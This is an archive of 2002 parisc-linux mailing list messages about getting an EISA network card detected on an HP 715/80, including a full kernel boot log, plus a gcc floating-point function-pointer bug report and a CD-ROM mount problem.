X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13681

This is a multi-part message in MIME format.
--------------070701060308020605020306
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Matthew Wilcox wrote:

> yep it's the hp100 driver.  i've used it myself (when i got a ping back
> from it, i declared the eisa code good enough to commit :-).  in config,
> that's: HP 10/100VG PCLAN (ISA, EISA, PCI) support' CONFIG_HP100
 

It does not seem to be found. See my attached dmesg.


> btw, the 100Mbit port is 100VG, not 100TX so you need 100VG equipment
> to work with it.  the 10Mbit port is vanilla 10baseT though.


I can get a hold onsome of that equipment.

Thanks.
-- 
      Rafael

--------------070701060308020605020306
Content-Type: text/plain;
 name="dmesg1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dmesg1"

Linux version 2.4.17-pa6 (raffo@inca) (gcc version 3.0.2 20010829 (prerelease)) #11 Fri Jan 11 10:56:42 EST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00006190 00000481 00000000 00000000 7795c3b3 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 48 Mb
pagetable_init
On node 0 totalpages: 12288
zone(0): 12288 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda2 eisa_irq_edge=3,4,5,7,9,10,11,14,15 console=tty0 sti=1 sti_font=VGA8x16
Console: colour dummy device 160x64
Calibrating delay loop... 79.66 BogoMIPS
Memory: 45348k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x10, 0x0, 0x85
2. Mirage 80 Core BA (11) at 0xf0100000 [2], versions 0x2b, 0x0, 0x81
3. Mirage 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2b, 0x0, 0x82
4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2b, 0x0, 0x8a
5. Mirage 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2b, 0x0, 0x8c
6. Mirage 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2b, 0x0, 0x74
7. Mirage 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x2b, 0x0, 0x7b
8. Mirage 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2b, 0x0, 0x83
9. Mirage 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2b, 0x0, 0x84
10. Mirage 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2b, 0x0, 0x84
11. Pace Wax BA (11) at 0xf0200000 [5], versions 0x10, 0x0, 0x8e
12. Pace Core HIL (10) at 0xf0201000 [5/0/1], versions 0x10, 0x0, 0x73
13. Mirage 80 Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x10, 0x0, 0x8c
14. Mirage 80 (0) at 0xfffbe000 [8], versions 0x619, 0x0, 0x4
15. Mirage 80 (1) at 0xfffbf000 [9], versions 0x4f, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f010c000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Enabled gecko-style soft power switch.
Starting kswapd
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f0024000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x10, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize

PCI or EISA Host Bus Adapter 0 not registered. in16(0x100) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x120) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x140) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x160) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x180) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x1a0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x1c0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x1e0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x200) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x220) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x240) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x260) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x280) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x2a0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x2c0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x2e0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x300) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x320) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x340) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x360) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x380) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x3a0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x3c0) returning -1

PCI or EISA Host Bus Adapter 0 not registered. in16(0x3e0) returning -1
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 3B F2 06 IRQ 87.
82596.c $Revision: 1.27 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: QUANTUM   Model: XP34550S          Rev: LXY1
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (3:1) Synchronous at offset 8, period 100ns
  Vendor: NEC       Model: CD-ROM DRIVE:461  Rev: 2.3d
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (4:1) Synchronous at offset 8, period 124ns
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
scsi0: (3:0) Enabling Tag Command Queuing
sda: Spinning up disk....ready
SCSI device sda: 8890760 512-byte hdwr sectors (4552 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 0 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :    60.800 MB/sec
   8regs_prefetch:    60.800 MB/sec
   32regs    :    88.400 MB/sec
   32regs_prefetch:    88.400 MB/sec
raid5: using function: 32regs_prefetch (88.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM
Adding Swap: 249136k swap-space (priority -1)
scsi0 (3:0) Target is suffering from tag starvation.
eth0: link ok.

--------------070701060308020605020306--




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: The problematic asm code
Date: Fri, 11 Jan 2002 07:25:04 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <20020111152452.GD365@tausq.org>
References: <20020110224338.GK3247@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620950 696 80.91.229.3 (22 Nov 2014 01:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:08:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E00704832
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jan 2002 09:08:20 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id kwggkaaa for parisc-linux@parisc-linux.org; Fri, 11 Jan 2002 09:02:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16P3YI-0004T5-00; Fri, 11 Jan 2002 07:25:06 -0800
Content-Disposition: inline
In-Reply-To: <20020110224338.GK3247@tausq.org>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13682

In reference to a message from Randolph Chung, dated Jan 10:
> Torsten, the Debian ghostscript maintainer, has been working on trying
> to figure out a weird floating-point related (?) problem with the
> ghostscript package on hppa.

As a followup... torsten managed to track this down to a simple test
case:


#include <stdio.h>
void	out(const char *str, double x)
{
	printf("%s: %f\n", str, x);
}
int	main(int argc, char **argv)
{
	void	(*f)(const char *, double) = out;
	f("Calling via function pointer", 3.1415926535);
	out("Calling directly", 3.1415926535);
	return 0;
}

This gives:
% ./realind
Calling via function pointer: 0.000000
Calling directly: 3.141593

The RTL and the disassembly shows that in the function pointer case gcc
tries to load the floating point argument into an integer register.

A bug has been filed against gcc upstream about this.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 16:17:05 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620950 698 80.91.229.3 (22 Nov 2014 01:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:17:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7421F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:17:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16P4Mb-0002F5-00; Fri, 11 Jan 2002 16:17:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C3F0DD1.4040508@verizon.net>; from vze26vn8@verizon.net on Fri, Jan 11, 2002 at 11:07:45AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13683

On Fri, Jan 11, 2002 at 11:07:45AM -0500, Rafael Herrera wrote:
> 1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x10, 0x0, 0x85
> 2. Mirage 80 Core BA (11) at 0xf0100000 [2], versions 0x2b, 0x0, 0x81
> 3. Mirage 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2b, 0x0, 0x82
> 4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2b, 0x0, 0x8a
> 5. Mirage 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2b, 0x0, 0x8c
> 6. Mirage 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2b, 0x0, 0x74
> 7. Mirage 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x2b, 0x0, 0x7b
> 8. Mirage 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2b, 0x0, 0x83
> 9. Mirage 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2b, 0x0, 0x84
> 10. Mirage 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2b, 0x0, 0x84
> 11. Pace Wax BA (11) at 0xf0200000 [5], versions 0x10, 0x0, 0x8e
> 12. Pace Core HIL (10) at 0xf0201000 [5/0/1], versions 0x10, 0x0, 0x73
> 13. Mirage 80 Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x10, 0x0, 0x8c
> 14. Mirage 80 (0) at 0xfffbe000 [8], versions 0x619, 0x0, 0x4
> 15. Mirage 80 (1) at 0xfffbf000 [9], versions 0x4f, 0x0, 0x9

This is rather strange.  I see no EISA adapter.  Sure, we have Wax in
its role as a bus adapter, with its HIL & RS-232 subdevices, but there's
no EISA device.  Anyone know why this might be?

(iirc, it normally shows up as device 6).

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 11:21:59 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <3C3F1127.8070507@verizon.net>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620951 704 80.91.229.3 (22 Nov 2014 01:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:11 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:21:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out006pub.verizon.net (out006pub.verizon.net [206.46.170.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE5D64833
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:21:43 -0700 (MST)
Original-Received: from verizon.net ([151.201.226.132])
	by out006pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id g0BGLf912062
	Fri, 11 Jan 2002 10:21:41 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020109
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13684

Matthew Wilcox wrote:

> On Fri, Jan 11, 2002 at 11:07:45AM -0500, Rafael Herrera wrote:
> 
>>1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x10, 0x0, 0x85
>>2. Mirage 80 Core BA (11) at 0xf0100000 [2], versions 0x2b, 0x0, 0x81
>>3. Mirage 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2b, 0x0, 0x82
>>4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2b, 0x0, 0x8a
>>5. Mirage 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2b, 0x0, 0x8c
>>6. Mirage 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2b, 0x0, 0x74
>>7. Mirage 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x2b, 0x0, 0x7b
>>8. Mirage 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2b, 0x0, 0x83
>>9. Mirage 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2b, 0x0, 0x84
>>10. Mirage 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2b, 0x0, 0x84
>>11. Pace Wax BA (11) at 0xf0200000 [5], versions 0x10, 0x0, 0x8e
>>12. Pace Core HIL (10) at 0xf0201000 [5/0/1], versions 0x10, 0x0, 0x73
>>13. Mirage 80 Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x10, 0x0, 0x8c
>>14. Mirage 80 (0) at 0xfffbe000 [8], versions 0x619, 0x0, 0x4
>>15. Mirage 80 (1) at 0xfffbf000 [9], versions 0x4f, 0x0, 0x9
>>
> 
> This is rather strange.  I see no EISA adapter.  Sure, we have Wax in
> its role as a bus adapter, with its HIL & RS-232 subdevices, but there's
> no EISA device.  Anyone know why this might be?
> 
> (iirc, it normally shows up as device 6).

If it's of any help, the card is connected through an add-on card to the 
main board. The chips on the add-on card are: TACT84544BPC, TACT84543BPP 
and TACT84541CPC.

-- 
      Rafael




From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 mount problems
Date: Fri, 11 Jan 2002 11:27:22 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20020111112722.F25350@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620951 708 80.91.229.3 (22 Nov 2014 01:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:11 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:27:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D1FF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:27:24 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id LAA25423
	for parisc-linux@lists.parisc-linux.org; Fri, 11 Jan 2002 11:27:22 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13685

So I finally got my 715/33 to boot off of cd and did all of the
partitioning fun, but on trying to copy the kernel and base system
from the cd to the hd, it could not mount the cdrom again. I was
initially using a NEC 4x cd, but then tried an Apple(sony) 2x and a
misc 4x.  no change.  The errors change, but are sometimes a missing
media error(happens quickly) or a set of SCSI errors(ends with
panic).  I neglected to write those down, but I'll reproduct sunday or
monday
thanks
Aaron
ps the 755 works beautifully with LAM as part of my beowulf, thanks
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 16:27:42 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20020111162742.F26644@parcelfarce.linux.theplanet.co.uk>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk> <3C3F1127.8070507@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620951 710 80.91.229.3 (22 Nov 2014 01:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:11 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:27:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD2E8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:27:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16P4Ws-0002MR-00; Fri, 11 Jan 2002 16:27:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C3F1127.8070507@verizon.net>; from vze26vn8@verizon.net on Fri, Jan 11, 2002 at 11:21:59AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13686

On Fri, Jan 11, 2002 at 11:21:59AM -0500, Rafael Herrera wrote:
> If it's of any help, the card is connected through an add-on card to the 
> main board. The chips on the add-on card are: TACT84544BPC, TACT84543BPP 
> and TACT84541CPC.

Yep, I'm familiar with that board.  Normally when it's plugged in, PDC
reports the EISA adapter.  Can you try unplugging it & replugging it to
see if that helps?  You cold also try messing around at the PDC prompt,
see whether anything can see it.  As you may have guessed, I have no
idea what the problem is and I'm suggesting things at random :-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] for free: HP ATM EISA
Date: Fri, 11 Jan 2002 11:33:27 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20020111113327.G25350@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620952 712 80.91.229.3 (22 Nov 2014 01:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
